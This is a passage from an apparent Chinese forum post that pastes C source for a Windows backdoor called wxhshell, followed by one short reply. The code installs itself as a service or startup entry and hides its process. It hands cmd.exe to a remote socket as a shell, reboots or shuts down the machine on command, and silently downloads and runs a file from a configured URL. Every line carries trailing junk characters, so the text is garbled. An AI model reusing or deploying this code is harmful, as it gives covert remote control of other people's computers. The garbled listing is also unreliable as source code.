  send(wsh,msg_ws_err,strlen(msg_ws_err),0); . KSr@Gz  
  else (\[!,T"[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EEnTq  
  } X+G*Q}5  
  else { c^/?VmCQ}  
nV6g]#~ @  
    switch(cmd[0]) { g960;waz3  
  ;|e 0{Jrz  
  // 帮助 I<o4l[--  
  case '?': { ~+NFWNgN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \|4MU"ri  
    break; J}`$WL:  
  } Q $,kB<M  
  // 安装 OCoRcrAx  
  case 'i': { _TeRsA  
    if(Install()) iPi'5g(a   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %QcG^R  
    else DT~y^h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9kiy^0 7G  
    break; [(ib9_`A'1  
    } Hw-oh?=  
  // 卸载 x)Om[jZE  
  case 'r': { 5~TA(cb5  
    if(Uninstall()) tfU3 6PR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KPvYq?F>4  
    else _1bd)L&dF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m##z  
    break; ^)K[1]"uM  
    } /bj`%Q.n  
  // 显示 wxhshell 所在路径 (E]K)d  
  case 'p': { :a<TV9?H0  
    char svExeFile[MAX_PATH]; %>}7 $Y%  
    strcpy(svExeFile,"\n\r"); Z["nY&.sI  
      strcat(svExeFile,ExeFile); ~5?n&pF  
        send(wsh,svExeFile,strlen(svExeFile),0); D&lXi~Z%.  
    break; ,Onm!LI=  
    } lfG&V +S1  
  // 重启 wtick~)  
  case 'b': { GHrT?zEX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,oVBgCf  
    if(Boot(REBOOT)) ?;QKe0I^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =1B&d[3;  
    else { E MbI\=>yS  
    closesocket(wsh); nylIP */  
    ExitThread(0); A>,fG9pR  
    } Xg)FIaw]eT  
    break; aD`e]K ^L  
    } zU=[Kc=$  
  // 关机 +4vX+;: br  
  case 'd': { &(1NOyX&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G U/k^ Qy  
    if(Boot(SHUTDOWN)) &K*_/Q '\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ATkqzE`;  
    else { #6Ph"\G/  
    closesocket(wsh); 8*){*'bf  
    ExitThread(0); .aRxqFi_  
    } 1;9E*=  
    break; uy%PTi+A  
    } -5B([jHgR  
  // 获取shell F4l6PGxF&\  
  case 's': { QU;C*}0Zl  
    CmdShell(wsh); K&oO+G^f  
    closesocket(wsh); {.)~4.LhQM  
    ExitThread(0); T1TZ+ \  
    break; .-*nD8b  
  } VL1z$<vVXt  
  // 退出 ?(hQZR 0e  
  case 'x': { f }e7g d]M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #FM 'S|  
    CloseIt(wsh); E8 )*HOT_T  
    break; 30-w TcG  
    } _!Q\Xn  
  // 离开 -$p-o Z)  
  case 'q': { a{6|[a R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AFA*_9Ut  
    closesocket(wsh); c8W=Is`  
    WSACleanup(); ;]ew>P)  
    exit(1); FCAu%lvZT  
    break; AV`7> @  
        } _ !vbX mb  
  } T8oASg!  
  } Za?&\  
xef7mx  
  // 提示信息 ,4$J|^T&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CK#PxT?"  
} AY erz  
  } 2}#PDh n  
X28WQdP,7  
  return; 6u8fF|s  
} a OHAG  
4<HJD&@V  
// shell模块句柄 $ {"St&(  
int CmdShell(SOCKET sock) p0@mumh  
{ <6$%Y2  
STARTUPINFO si; ]<_+uciP5[  
ZeroMemory(&si,sizeof(si)); #bH[UId[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a}{! %5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GDntGTE~sk  
PROCESS_INFORMATION ProcessInfo; Fje%hcV  
char cmdline[]="cmd"; P;[mw(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4h(Hy&1C  
  return 0; hQeZI+  
} ?uv%E*TU  
2F]MzeW  
// 自身启动模式 #$QY[rf=6  
int StartFromService(void) ttRH[[E(  
{ zW.sXV,  
typedef struct CAO{$<M5m  
{ MQu6Tm H  
  DWORD ExitStatus; vnpX-c  
  DWORD PebBaseAddress; W5{e.eI}|  
  DWORD AffinityMask; ,B!Qv3bn  
  DWORD BasePriority; Ss}0.5Bq  
  ULONG UniqueProcessId; b@Cvs4  
  ULONG InheritedFromUniqueProcessId; 8tk`1E8!j  
}   PROCESS_BASIC_INFORMATION; i>}z$'X  
)I9(WVx!]  
PROCNTQSIP NtQueryInformationProcess; }(6k7{,Gw,  
.? / J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rl8-a8j$f.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~VKXL,.  
$T0[  
  HANDLE             hProcess; sP7(1)\  
  PROCESS_BASIC_INFORMATION pbi; n!nv.-n  
qa6up|xUnn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >i<-rO>kN  
  if(NULL == hInst ) return 0; 9x\G(w  
@TDcj~oR ?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tp&iOP6O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4dAhJjhgD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }+1oD{  
x.Y,]wis  
  if (!NtQueryInformationProcess) return 0; Qa+gtGtJ  
UQ?8dw:E~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?HTwTi 5!)  
  if(!hProcess) return 0; `}l%Am  
ualtIHXK)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; biD7(AK  
f ;JSP  
  CloseHandle(hProcess); RCr:2 Iz  
4{pa`o3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wr(?L7 $+  
if(hProcess==NULL) return 0; |Rc#Q<Vh|  
0XNb@ogo  
HMODULE hMod; &2J|v#$F  
char procName[255]; v;7u"9t  
unsigned long cbNeeded; <}%*4mv  
DFMWgBL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ua-p^X`w  
AH+J:8k  
  CloseHandle(hProcess); 0Og =H79<  
I6_+3}Hm{  
if(strstr(procName,"services")) return 1; // 以服务启动 oxZ(qfjS  
~c"c9s+o  
  return 0; // 注册表启动 )g9qkQ8q  
} crQuoOl7  
!RI&FcK  
// 主模块 5l#)tX.by  
int StartWxhshell(LPSTR lpCmdLine) ewY X\  
{ ececN{U/  
  SOCKET wsl; =*I9qjla[?  
BOOL val=TRUE; {H74`-C)W  
  int port=0; < jF<_j  
  struct sockaddr_in door; n >'}tT)U  
#XZ?,neY  
  if(wscfg.ws_autoins) Install(); `4MPXfoBL  
K""04Ew*pV  
port=atoi(lpCmdLine); [@czvPi  
eJ'ojc3  
if(port<=0) port=wscfg.ws_port;  <_~`)t  
9TLP(  
  WSADATA data; l; 4F,iI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qM)^]2_-  
/+iaw~={"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SL*(ZEn"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OA;L^d  
  door.sin_family = AF_INET; =0Mmxd&o=M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %Vq@WF  
  door.sin_port = htons(port); :BS`Q/<w  
7@\iBmr6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { he,T\ };  
closesocket(wsl); \;]~K6=  
return 1; JG `QJ%  
} 3c)LBM  
_z;N|Xe  
  if(listen(wsl,2) == INVALID_SOCKET) { @4pN4v8U  
closesocket(wsl); chy7hPxC;  
return 1; 0(n/hJ  
} btOC\bUMfD  
  Wxhshell(wsl); N^ )OlH  
  WSACleanup(); YeQX13C"Z  
&^Io\  
return 0; H5n" !!  
][Kj^7/  
} pVr,WTr6E  
fqi5 84  
// 以NT服务方式启动 :Vg,[\I{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L_(|5#IDw  
{ .3[YOM7h  
DWORD   status = 0; |b@-1  
  DWORD   specificError = 0xfffffff; "-9YvB#  
.._wTOSq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B*{CcQ<5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KQk;:1hW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =8]'/b  
  serviceStatus.dwWin32ExitCode     = 0; +#O?sI#  
  serviceStatus.dwServiceSpecificExitCode = 0; ppxu\a  
  serviceStatus.dwCheckPoint       = 0; W \"cp[b  
  serviceStatus.dwWaitHint       = 0; E4P P& '  
[30<  0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gh j[nsoC~  
  if (hServiceStatusHandle==0) return; /2c?+04+  
^;'3(m=  
status = GetLastError(); n`6vM4rM)  
  if (status!=NO_ERROR) _\[Zr.y  
{ o_cj-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3E#acnqn*  
    serviceStatus.dwCheckPoint       = 0; rl4-nA  
    serviceStatus.dwWaitHint       = 0; _z_uz \#,  
    serviceStatus.dwWin32ExitCode     = status; !cfn%+0  
    serviceStatus.dwServiceSpecificExitCode = specificError; n[<Vj1n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {d) +a$qj  
    return; R +k\)_F  
  } ^'}Td~(  
MSA*XDnN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >y1/*)O9~  
  serviceStatus.dwCheckPoint       = 0; wFh{\  
  serviceStatus.dwWaitHint       = 0; RxqXGM`4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %9IM|\ulp  
} ^OUkFH;dG?  
V r y#  
// 处理NT服务事件,比如:启动、停止  `=oN&!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M$w^g8F27H  
{ aw(P@9]  
switch(fdwControl) DY1o!thz)  
{ C@K@TfK!M  
case SERVICE_CONTROL_STOP: ,+2ytN*  
  serviceStatus.dwWin32ExitCode = 0; !=ZbBUJF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 46*?hA7@r(  
  serviceStatus.dwCheckPoint   = 0; "kMpa]<c-6  
  serviceStatus.dwWaitHint     = 0; bH&[O`vf  
  { IE3GM^7\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h5F1mr1Sa  
  } @+\OoOK<L  
  return; JMoWA0f  
case SERVICE_CONTROL_PAUSE: Qq5)|m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^K3{6}]  
  break; Q?vGg{>  
case SERVICE_CONTROL_CONTINUE: ifuVVFov  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8Y:bvs.j  
  break; C6GYhG]  
case SERVICE_CONTROL_INTERROGATE: !x>P]j7A}Y  
  break;  +&|WC2#  
}; zF{5!b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); srUpG&Bcx  
} <jV_J+#  
KnlVZn[3t  
// 标准应用程序主函数 /<GygRs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qUCiB}  
{ .t\5H<z  
x }-rAr  
// 获取操作系统版本 #[IQmU23  
OsIsNt=GetOsVer(); zc(- dMlK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Nhs]U`s(g  
"xw2@jGpG  
  // 从命令行安装 Z[|(}9v?~  
  if(strpbrk(lpCmdLine,"iI")) Install(); !IP[C?(nB  
k)'c$  
  // 下载执行文件 /+%1Kq.hP  
if(wscfg.ws_downexe) { Kg9REL@,s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LTrn$k3}  
  WinExec(wscfg.ws_filenam,SW_HIDE); O0wD"V^W  
} }nu hLt1  
\07 s'W U  
if(!OsIsNt) { 8eL[ ,uw  
// 如果时win9x,隐藏进程并且设置为注册表启动 k pEES{f  
HideProc(); >pr{)bp G  
StartWxhshell(lpCmdLine); xEGI'lt  
} w<5w?nP+Oh  
else 7|\[ipVX:3  
  if(StartFromService()) U1dz:OG>  
  // 以服务方式启动 ,_p_p^Ar\4  
  StartServiceCtrlDispatcher(DispatchTable); ]ZZ7j  
else }*;Hhbox  
  // 普通方式启动 B\9ymhx;g%  
  StartWxhshell(lpCmdLine); ?mnwD]u  
$KKrl  
return 0; \#  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五